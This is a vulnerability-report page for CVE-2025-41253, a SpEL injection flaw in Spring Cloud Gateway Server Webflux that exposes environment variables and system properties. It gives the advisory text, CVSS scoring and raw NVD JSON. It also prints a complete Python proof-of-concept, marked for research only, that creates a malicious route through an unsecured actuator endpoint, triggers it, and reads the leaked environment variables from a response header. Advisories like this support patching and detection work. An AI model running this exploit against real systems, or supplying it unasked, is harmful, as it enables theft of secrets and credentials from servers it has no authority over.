Security Vulnerability Report
中文
CVE-2025-41253 CVSS 7.5 HIGH

CVE-2025-41253

Published: 2025-10-16 15:15:33
Last Modified: 2026-04-15 00:35:42

Description

The following versions of Spring Cloud Gateway Server Webflux may be vulnerable to the ability to expose environment variables and system properties to attackers. An application should be considered vulnerable when all the following are true: * The application is using Spring Cloud Gateway Server Webflux (Spring Cloud Gateway Server WebMVC is not vulnerable). * An admin or untrusted third party using Spring Expression Language (SpEL) to access environment variables or system properties via routes. * An untrusted third party could create a route that uses SpEL to access environment variables or system properties if: * The Spring Cloud Gateway Server Webflux actuator web endpoint is enabled via management.endpoints.web.exposure.include=gateway and management.endpoint.gateway.enabled=trueor management.endpoint.gateway.access=unrestricte. * The actuator endpoints are available to attackers. * The actuator endpoints are unsecured.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Spring Cloud Gateway Server Webflux 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-41253 - Spring Cloud Gateway Server Webflux SpEL Injection Info Disclosure # Exploits actuator endpoint to create a route with malicious SpEL expression # to read environment variables and system properties import requests import json import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target:8080" ROUTES_ENDPOINT = f"{TARGET_URL}/actuator/gateway/routes" REFRESH_ENDPOINT = f"{TARGET_URL}/actuator/gateway/refresh" # Malicious SpEL expression to extract environment variables # #{T(java.lang.System).getenv()} returns all environment variables # #{T(java.lang.System).getProperties()} returns all system properties SPEL_PAYLOAD = "#{T(java.lang.System).getenv()}" # Step 1: Create a malicious route with SpEL expression malicious_route = { "id": "exploit_route", "filters": [ { "name": "AddResponseHeader", "args": { "name": "X-Env-Vars", "value": SPEL_PAYLOAD } } ], "uri": "http://example.org", "predicates": [ "Path=/exploit/**" ] } print(f"[*] Target: {TARGET_URL}") print(f"[*] Step 1: Creating malicious route with SpEL payload...") # Send POST request to create the route response = requests.post( ROUTES_ENDPOINT, headers={"Content-Type": "application/json"}, data=json.dumps(malicious_route), verify=False ) print(f"[*] Route creation response: {response.status_code}") # Step 2: Refresh routes to apply the malicious route print(f"[*] Step 2: Refreshing routes...") refresh_response = requests.post(REFRESH_ENDPOINT, verify=False) print(f"[*] Refresh response: {refresh_response.status_code}") # Step 3: Trigger the malicious route to extract environment variables print(f"[*] Step 3: Triggering malicious route to extract data...") exploit_response = requests.get(f"{TARGET_URL}/exploit/test", verify=False) print(f"[*] Exploit response status: {exploit_response.status_code}") # Extract leaked environment variables from response header if "X-Env-Vars" in exploit_response.headers: print(f"[+] Leaked environment variables:\n{exploit_response.headers['X-Env-Vars']}") else: print("[-] No environment variables found in response headers") print(f"[*] Full response headers:\n{dict(exploit_response.headers)}") # Step 4: Clean up - delete the malicious route print(f"[*] Step 4: Cleaning up - deleting malicious route...") delete_response = requests.delete(f"{ROUTES_ENDPOINT}/exploit_route", verify=False) print(f"[*] Delete response: {delete_response.status_code}") # Refresh after cleanup requests.post(REFRESH_ENDPOINT, verify=False)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41253", "sourceIdentifier": "[email protected]", "published": "2025-10-16T15:15:33.213", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The following versions of Spring Cloud Gateway Server Webflux may be vulnerable to the ability to expose environment variables and system properties to attackers.\n\nAn application should be considered vulnerable when all the following are true:\n\n * The application is using Spring Cloud Gateway Server Webflux (Spring Cloud Gateway Server WebMVC is not vulnerable).\n * An admin or untrusted third party using Spring Expression Language (SpEL) to access environment variables or system properties via routes.\n * An untrusted third party could create a route that uses SpEL to access environment variables or system properties if: * The Spring Cloud Gateway Server Webflux actuator web endpoint is enabled via management.endpoints.web.exposure.include=gateway and management.endpoint.gateway.enabled=trueor management.endpoint.gateway.access=unrestricte.\n * The actuator endpoints are available to attackers.\n * The actuator endpoints are unsecured."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-917"}]}], "references": [{"url": "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1", "source": "[email protected]"}, {"url": "https://spring.io/security/cve/2025-41253", "source": "[email protected]"}]}}